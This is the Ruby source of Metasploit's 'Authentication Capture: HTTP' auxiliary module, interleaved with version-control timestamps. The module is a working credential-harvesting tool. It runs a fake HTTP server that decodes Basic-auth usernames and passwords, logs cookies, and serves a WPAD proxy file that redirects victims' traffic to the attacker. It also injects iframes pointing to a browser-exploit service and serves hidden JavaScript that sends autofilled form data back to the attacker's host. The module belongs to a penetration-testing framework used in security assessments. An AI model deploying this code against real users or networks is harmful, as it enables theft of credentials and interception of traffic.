2008-03-02 08:03:27 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-03-02 08:03:27 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf :: Auxiliary
2013-08-30 16:28:54 -05:00
include Msf :: Exploit :: Remote :: TcpServer
include Msf :: Auxiliary :: Report
def initialize
super (
'Name' = > 'Authentication Capture: HTTP' ,
'Description' = > %q{
This module provides a fake HTTP service that
is designed to capture authentication credentials.
} ,
'Author' = > [ 'ddz' , 'hdm' ] ,
'License' = > MSF_LICENSE ,
'Actions' = >
[
[ 'Capture' ]
] ,
'PassiveActions' = >
[
'Capture'
] ,
'DefaultAction' = > 'Capture'
)
register_options (
[
OptPort . new ( 'SRVPORT' , [ true , " The local port to listen on. " , 80 ] ) ,
OptPath . new ( 'TEMPLATE' , [ false , " The HTML template to serve in responses " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " index.html " )
2013-08-30 16:28:54 -05:00
]
) ,
OptPath . new ( 'SITELIST' , [ false , " The list of URLs that should be used for cookie capture " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " sites.txt " )
2013-08-30 16:28:54 -05:00
]
) ,
OptPath . new ( 'FORMSDIR' , [ false , " The directory containing form snippets (example.com.txt) " ,
2013-09-26 20:34:48 +01:00
File . join ( Msf :: Config . data_directory , " exploits " , " capture " , " http " , " forms " )
2013-08-30 16:28:54 -05:00
]
) ,
OptAddress . new ( 'AUTOPWN_HOST' , [ false , " The IP address of the browser_autopwn service " , nil ] ) ,
OptPort . new ( 'AUTOPWN_PORT' , [ false , " The SRVPORT port of the browser_autopwn service " , nil ] ) ,
OptString . new ( 'AUTOPWN_URI' , [ false , " The URIPATH of the browser_autopwn service " , nil ] ) ,
2017-05-03 15:42:21 -05:00
] )
2013-08-30 16:28:54 -05:00
end
# Not compatible today
def support_ipv6?
false
end
def run
@formsdir = datastore [ 'FORMSDIR' ]
@template = datastore [ 'TEMPLATE' ]
@sitelist = datastore [ 'SITELIST' ]
@myhost = datastore [ 'SRVHOST' ]
@myport = datastore [ 'SRVPORT' ]
@myautopwn_host = datastore [ 'AUTOPWN_HOST' ]
@myautopwn_port = datastore [ 'AUTOPWN_PORT' ]
@myautopwn_uri = datastore [ 'AUTOPWN_URI' ]
@myautopwn = false
if ( @myautopwn_host and @myautopwn_port and @myautopwn_uri )
@myautopwn = true
end
print_status ( " Listening on #{ datastore [ 'SRVHOST' ] } : #{ datastore [ 'SRVPORT' ] } ... " )
exploit ( )
end
def on_client_connect ( c )
c . extend ( Rex :: Proto :: Http :: ServerClient )
c . init_cli ( self )
end
def on_client_data ( cli )
begin
data = cli . get_once ( - 1 , 5 )
raise :: Errno :: ECONNABORTED if ! data or data . length == 0
case cli . request . parse ( data )
when Rex :: Proto :: Http :: Packet :: ParseCode :: Completed
dispatch_request ( cli , cli . request )
cli . reset_cli
when Rex :: Proto :: Http :: Packet :: ParseCode :: Error
close_client ( cli )
end
rescue :: EOFError , :: Errno :: EACCES , :: Errno :: ECONNABORTED , :: Errno :: ECONNRESET
rescue :: OpenSSL :: SSL :: SSLError
rescue :: Exception
print_error ( " Error: #{ $! . class } #{ $! } #{ $! . backtrace } " )
end
close_client ( cli )
end
def close_client ( cli )
cli . close
# Require to clean up the service properly
raise :: EOFError
end
2015-07-29 14:31:35 -05:00
def report_cred ( opts )
service_data = {
address : opts [ :ip ] ,
port : opts [ :port ] ,
service_name : opts [ :service_name ] ,
protocol : 'tcp' ,
workspace_id : myworkspace_id
}
credential_data = {
origin_type : :service ,
module_fullname : fullname ,
username : opts [ :user ] ,
private_data : opts [ :password ] ,
private_type : :password
} . merge ( service_data )
login_data = {
core : create_credential ( credential_data ) ,
status : Metasploit :: Model :: Login :: Status :: UNTRIED ,
proof : opts [ :proof ]
} . merge ( service_data )
create_credential_login ( login_data )
end
2013-08-30 16:28:54 -05:00
def dispatch_request ( cli , req )
phost = cli . peerhost
os_name = nil
os_type = nil
os_vers = nil
os_arch = 'x86'
ua_name = nil
ua_vers = nil
ua = req [ 'User-Agent' ]
case ( ua )
when / rv:([ \ d \ .]+) /
ua_name = 'FF'
ua_vers = $1
when / Mozilla \/ [0-9] \ .[0-9] \ (compatible; MSIE ([0-9]+ \ .[0-9]+) /
ua_name = 'IE'
ua_vers = $1
when / Version \/ ( \ d+ \ . \ d+ \ . \ d+).*Safari /
ua_name = 'Safari'
ua_vers = $1
end
case ( ua )
when / Windows /
os_name = 'Windows'
when / Linux /
os_name = 'Linux'
when / iPhone /
os_name = 'iPhone'
os_arch = 'armle'
when / Mac OS X /
os_name = 'Mac'
end
case ( ua )
when / PPC /
os_arch = 'ppc'
end
os_name || = 'Unknown'
mysrc = Rex :: Socket . source_address ( cli . peerhost )
hhead = ( req [ 'Host' ] || @myhost )
if req . resource =~ / ^http \ : \/ +([^ \/ ]+)( \/ *.*) /
hhead = $1
req . resource = $2
end
if hhead =~ / ^(.*):( \ d+) \ s*$ /
hhead = $1
nport = $2 . to_i
end
@myport = nport || 80
cookies = req [ 'Cookie' ] || ''
if ( cookies . length > 0 )
report_note (
:host = > cli . peerhost ,
:type = > " http_cookies " ,
:data = > hhead + " " + cookies ,
:update = > :unique_data
)
end
if ( req [ 'Authorization' ] and req [ 'Authorization' ] =~ / basic /i )
basic , auth = req [ 'Authorization' ] . split ( / \ s+ / )
user , pass = Rex :: Text . decode_base64 ( auth ) . split ( ':' , 2 )
2015-07-29 14:31:35 -05:00
report_cred (
ip : cli . peerhost ,
port : @myport ,
service_name : ( ssl ? " https " : " http " ) ,
user : user ,
pass : pass ,
proof : req . resource . to_s
2013-08-30 16:28:54 -05:00
)
report_note (
:host = > cli . peerhost ,
:type = > " http_auth_extra " ,
:data = > req . resource . to_s ,
:update = > :unique_data
)
2017-07-19 11:39:15 +01:00
print_good ( " HTTP LOGIN #{ cli . peerhost } > #{ hhead } : #{ @myport } #{ user } / #{ pass } => #{ req . resource } " )
2013-08-30 16:28:54 -05:00
end
if ( req . resource =~ / ^ \/ *wpad.dat|.* \ .pac$ /i )
prx = " function FindProxyForURL(url, host) { return 'PROXY #{ mysrc } : #{ @myport } '; } "
res =
" HTTP/1.1 200 OK \r \n " +
" Host: #{ hhead } \r \n " +
" Content-Type: application/x-ns-proxy-autoconfig \r \n " +
" Content-Length: #{ prx . length } \r \n " +
" Connection: Close \r \n \r \n #{ prx } "
print_status ( " HTTP wpad.dat sent to #{ cli . peerhost } " )
cli . put ( res )
return
end
if ( req . resource =~ / \/ +formrec \/ (.*) /i )
data = Rex :: Text . uri_decode ( $1 ) . split ( " \x00 " ) . join ( " , " )
report_note (
:host = > cli . peerhost ,
:type = > " http_formdata " ,
:data = > hhead + " " + data ,
:update = > :unique_data
)
res =
" HTTP/1.1 200 OK \r \n " +
" Host: #{ hhead } \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: 4 \r \n " +
" Connection: Close \r \n \r \n BYE! "
print_status ( " HTTP form data received for #{ hhead } from #{ cli . peerhost } ( #{ data } ) " )
cli . put ( res )
return
end
report_note (
:host = > cli . peerhost ,
:type = > " http_request " ,
:data = > " #{ hhead } : #{ @myport } #{ req . method } #{ req . resource } #{ os_name } #{ ua_name } #{ ua_vers } " ,
:update = > :unique_data
)
print_status ( " HTTP REQUEST #{ cli . peerhost } > #{ hhead } : #{ @myport } #{ req . method } #{ req . resource } #{ os_name } #{ ua_name } #{ ua_vers } cookies= #{ cookies } " )
if ( req . resource =~ / \/ +forms.html$ / )
frm = inject_forms ( hhead )
res =
" HTTP/1.1 200 OK \r \n " +
" Host: #{ hhead } \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: #{ frm . length } \r \n " +
" Connection: Close \r \n \r \n #{ frm } "
cli . put ( res )
return
end
# http://us.version.worldofwarcraft.com/update/PatchSequenceFile.txt
if ( req . resource == " /update/PatchSequenceFile.txt " )
print_status ( " HTTP #{ cli . peerhost } is trying to play World of Warcraft " )
end
# Microsoft 'Network Connectivity Status Indicator' Vista
if ( req [ 'Host' ] == 'www.msftncsi.com' )
print_status ( " HTTP #{ cli . peerhost } requested the Network Connectivity Status Indicator page (Vista) " )
data = " Microsoft NCSI "
res =
" HTTP/1.1 200 OK \r \n " +
" Host: www.msftncsi.com \r \n " +
" Expires: 0 \r \n " +
" Cache-Control: must-revalidate \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
return
end
2009-07-26 05:31:29 +00:00
2010-04-30 08:40:19 +00:00
=begin
2013-08-30 16:28:54 -05:00
# Apple 'Network Status' Check (prevents a pop-up safari on the iphone)
if(req['Host'] == 'www.apple.com' and req.resource == '/library/test/success.html')
data = "\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x48\x54\x4d\x4c\x20\x50\x55\x42\x4c\x49\x43\x20\x22\x2d\x2f\x2f\x57\x33\x43\x2f\x2f\x44\x54\x44\x20\x48\x54\x4d\x4c\x20\x33\x2e\x32\x2f\x2f\x45\x4e\x22\x3e\x0a\x3c\x48\x54\x4d\x4c\x3e\x0a\x3c\x48\x45\x41\x44\x3e\x0a\x09\x3c\x54\x49\x54\x4c\x45\x3e\x53\x75\x63\x63\x65\x73\x73\x3c\x2f\x54\x49\x54\x4c\x45\x3e\x0a\x3c\x2f\x48\x45\x41\x44\x3e\x0a\x3c\x42\x4f\x44\x59\x3e\x0a\x53\x75\x63\x63\x65\x73\x73\x0a\x3c\x2f\x42\x4f\x44\x59\x3e\x0a\x3c\x2f\x48\x54\x4d\x4c\x3e\x0a"
res =
"HTTP/1.1 200 OK\r\n" +
"Host: www.apple.com\r\n" +
"Expires: 0\r\n" +
"Cache-Control: must-revalidate\r\n" +
"Content-Type: text/html\r\n" +
"Content-Length: #{data.length}\r\n" +
"Connection: Close\r\n\r\n#{data}"
cli.put(res)
return
end
2009-07-26 05:31:29 +00:00
=end
2008-07-14 05:36:21 +00:00
2013-08-30 16:28:54 -05:00
# Microsoft ActiveX Download
if ( req [ 'Host' ] == 'activex.microsoft.com' )
print_status ( " HTTP #{ cli . peerhost } attempted to download an ActiveX control " )
data = " "
res =
" HTTP/1.1 404 Not Found \r \n " +
" Host: #{ mysrc } \r \n " +
" Content-Type: application/octet-stream \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
return
end
# Sonic.com's Update Service
if ( req [ 'Host' ] == 'updateservice.sonic.com' )
print_status ( " HTTP #{ cli . peerhost } is running a Sonic.com product that checks for online updates " )
end
# The google maps / stocks view on the iPhone
if ( req [ 'Host' ] == 'iphone-wu.apple.com' )
case req . resource
when '/glm/mmap'
print_status ( " HTTP #{ cli . peerhost } is using Google Maps on the iPhone " )
when '/dgw'
print_status ( " HTTP #{ cli . peerhost } is using Stocks/Weather on the iPhone " )
else
print_status ( " HTTP #{ cli . peerhost } is request #{ req . resource } via the iPhone " )
end
end
# The itunes store on the iPhone
if ( req [ 'Host' ] == 'phobos.apple.com' )
print_status ( " HTTP #{ cli . peerhost } is using iTunes Store on the iPhone " )
# GET /bag.xml
end
# Handle image requests
ctypes =
{
" jpg " = > " image/jpeg " ,
" jpeg " = > " image/jpeg " ,
" png " = > " image/png " ,
" gif " = > " image/gif " ,
}
req_ext = req . resource . split ( " . " ) [ - 1 ] . downcase
if ( ctypes [ req_ext ] )
ctype = ctypes [ 'gif' ]
data =
" \x47 \x49 \x46 \x38 \x39 \x61 \x01 \x00 \x01 \x00 \x80 \x00 " +
" \x00 \xff \xff \xff \xff \xff \xff \x2c \x00 \x00 \x00 \x00 " +
" \x01 \x00 \x01 \x00 \x00 \x02 \x02 \x44 \x01 \x00 \x3b "
res =
" HTTP/1.1 200 OK \r \n " +
" Host: #{ mysrc } \r \n " +
" Content-Type: #{ ctype } \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
return
end
buff = ''
if ( @myautopwn )
buff << " <iframe src='http:// #{ @myautopwn_host } : #{ @myautopwn_port } #{ @myautopwn_uri } '></iframe> "
end
list = File . readlines ( @sitelist )
list . each do | site |
next if site =~ / ^ # /
site . strip!
next if site . length == 0
buff << " <iframe src='http:// #{ site } : #{ @myport } /forms.html'></iframe> "
end
data = File . read ( @template )
data . gsub! ( / %CONTENT% / , buff )
res =
" HTTP/1.1 200 OK \r \n " +
" Host: #{ mysrc } \r \n " +
" Expires: 0 \r \n " +
" Cache-Control: must-revalidate \r \n " +
" Content-Type: text/html \r \n " +
" Content-Length: #{ data . length } \r \n " +
" Connection: Close \r \n \r \n #{ data } "
cli . put ( res )
return
end
def inject_forms ( site )
domain = site . gsub ( / ( \ . \ .| \\ | \/ ) / , " " )
domain = " www. " + domain if domain !~ / ^www /i
while ( domain . length > 0 )
form_file = File . join ( @formsdir , domain ) + " .txt "
form_data = " "
if ( File . readable? ( form_file ) )
form_data = File . read ( form_file )
break
end
parts = domain . split ( " . " )
parts . shift
domain = parts . join ( " . " )
end
%|
2008-04-22 18:48:21 +00:00
<html>
<head>
2013-08-30 16:28:54 -05:00
<script language="javascript">
function processForms() {
var i = 0;
while(form = document.forms[i]) {
res = "";
var x = 0;
var f = 0;
while(e = form.elements[x]) {
if (e.name.length > 0 && e.value.length > 0 && e.value != "on"){
res += e.name + "=" + e.value + "\x00";
f=1;
}
x++;
}
if(f) {
url = "http://"+document.domain+":#{@myport}/formrec/" + escape(res);
fra = document.createElement("iframe");
fra.setAttribute("src", url);
fra.style.visibility = 'hidden';
document.body.appendChild(fra);
}
i++;
}
}
</script>
2008-04-22 18:48:21 +00:00
</head>
<body onload="processForms()">
#{form_data}
</body>
</html>
2010-04-30 08:40:19 +00:00
|
2013-08-30 16:28:54 -05:00
end
2008-11-12 19:31:11 +00:00
end